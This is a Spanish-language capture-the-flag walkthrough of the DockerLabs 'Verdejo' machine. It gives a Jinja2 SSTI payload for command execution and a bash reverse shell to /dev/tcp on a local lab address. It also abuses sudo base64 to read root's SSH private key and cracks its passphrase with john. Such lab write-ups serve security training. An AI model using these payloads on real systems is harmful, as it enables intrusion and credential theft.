> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/dockerlabs/facil/verdejo.md).

# Verdejo

## Enumeración

Se realiza un escaneo completo de puertos:

```bash
nmap -sV -p- -T4 172.17.0.2
```

![](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-5ccecce99f18b71a6d4840925b3a9e4544db5552%2Fimg-2026-04-24-11-30-17.png?alt=media)

### Resultados

* **22/tcp** → OpenSSH
* **80/tcp** → Apache HTTP
* **8089/tcp** → Werkzeug (Python)

El puerto **8089** resulta especialmente interesante por tratarse de un entorno de desarrollo.

***

## Análisis de la aplicación web

Accedemos al servicio en el puerto 8089:

![](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-1d081e09ebd688693626a430fd4a1386ace90cbe%2Fimg-2026-04-24-11-32-55.png?alt=media)

Se identifica un parámetro `user` vulnerable a inyección:

![](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-f8845f27efe525152dcbb0efdeb5e4aca84e90d1%2Fimg-2026-04-24-11-33-16.png?alt=media)

Probamos una operación matemática básica:

```jinja2
{{7*7}}
```

### Conclusión

La aplicación evalúa expresiones → Vulnerabilidad **SSTI confirmada**.

***

## Ejecución remota de comandos (RCE)

Se aprovecha la SSTI para acceder a funciones internas de Python:

![](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-83d785936a4d3b740a86ab854b4cba17b57b2e37%2Fimg-2026-04-24-11-49-46.png?alt=media)

```jinja2
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
```

![](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-a6ff1b161dd6daffec5d15a71c6cdb1d45b619c2%2Fimg-2026-04-24-11-37-39.png?alt=media)

Se confirma ejecución de comandos como el usuario `verde`.

***

## Obtención de Reverse Shell

Se genera una shell reversa utilizando bash:

```jinja2
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('bash -c "bash -i >& /dev/tcp/172.17.0.1/4444 0>&1"').read() }}
```

![](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-227e7fb8e1acd97f32500a81d5cb4aa18b18a5f0%2Fimg-2026-04-24-11-50-05.png?alt=media)

En la máquina atacante:

```bash
nc -lvnp 4444
```

![](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-2f045d3a5bfb66a9008e61eb881be717877c260b%2Fimg-2026-04-24-11-57-49.png?alt=media)

Recepción de la conexión:

![](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-3a17e020f19176f94ffb1d79c20bda886c114cae%2Fimg-2026-04-24-11-59-39.png?alt=media)

***

## Escalada de privilegios

Se enumeran permisos sudo:

```bash
sudo -l
```

![](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-997fe1c8fe3e4534a71b5add03a5f9d23c73d243%2Fimg-2026-04-24-11-59-57.png?alt=media)

### Hallazgo

El usuario puede ejecutar:

```
(root) NOPASSWD: /usr/bin/base64
```

***

## Exfiltración de credenciales

Se utiliza `base64` para leer la clave privada de root:

```bash
sudo /usr/bin/base64 /root/.ssh/id_rsa | base64 --decode
```

![](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-d88b5a9639a8cb763978059004a8736e12245b0d%2Fimg-2026-04-24-12-04-00.png?alt=media)

Se guarda la clave en local.

***

## Crackeo de passphrase

Se convierte la clave a formato crackeable:

```bash
ssh2john id_rsa > hash
```

Se ejecuta fuerza bruta con diccionario:

```bash
john hash --wordlist=/usr/share/wordlists/rockyou.txt
```

![](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-8c1b80ab3434ff7c58d14e15b9801471c529a8de%2Fimg-2026-04-24-12-07-54.png?alt=media)

### Resultado

```
honda1
```

***

## Acceso como root

Se accede por SSH:

```bash
ssh root@172.17.0.2 -i id_rsa
```

![](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-a8f71bb96ff7cea36b4de40a8bb6e2e1fbf9ae14%2Fimg-2026-04-24-12-08-50.png?alt=media)

Verificación:

```bash
id
```

```
uid=0(root) gid=0(root)
```

***

## Conclusión

### Cadena de ataque

1. Enumeración de servicios
2. Identificación de SSTI
3. Ejecución remota de comandos (RCE)
4. Reverse shell
5. Abuso de sudo (`base64`)
6. Exfiltración de clave SSH
7. Crackeo de passphrase
8. Acceso root

### Vulnerabilidades clave

* SSTI en aplicación web
* Mala configuración de sudo
* Uso inseguro de claves SSH

***

## Notas finales

Este laboratorio demuestra cómo una vulnerabilidad web aparentemente simple puede derivar en compromiso total del sistema si no existen controles adecuados.
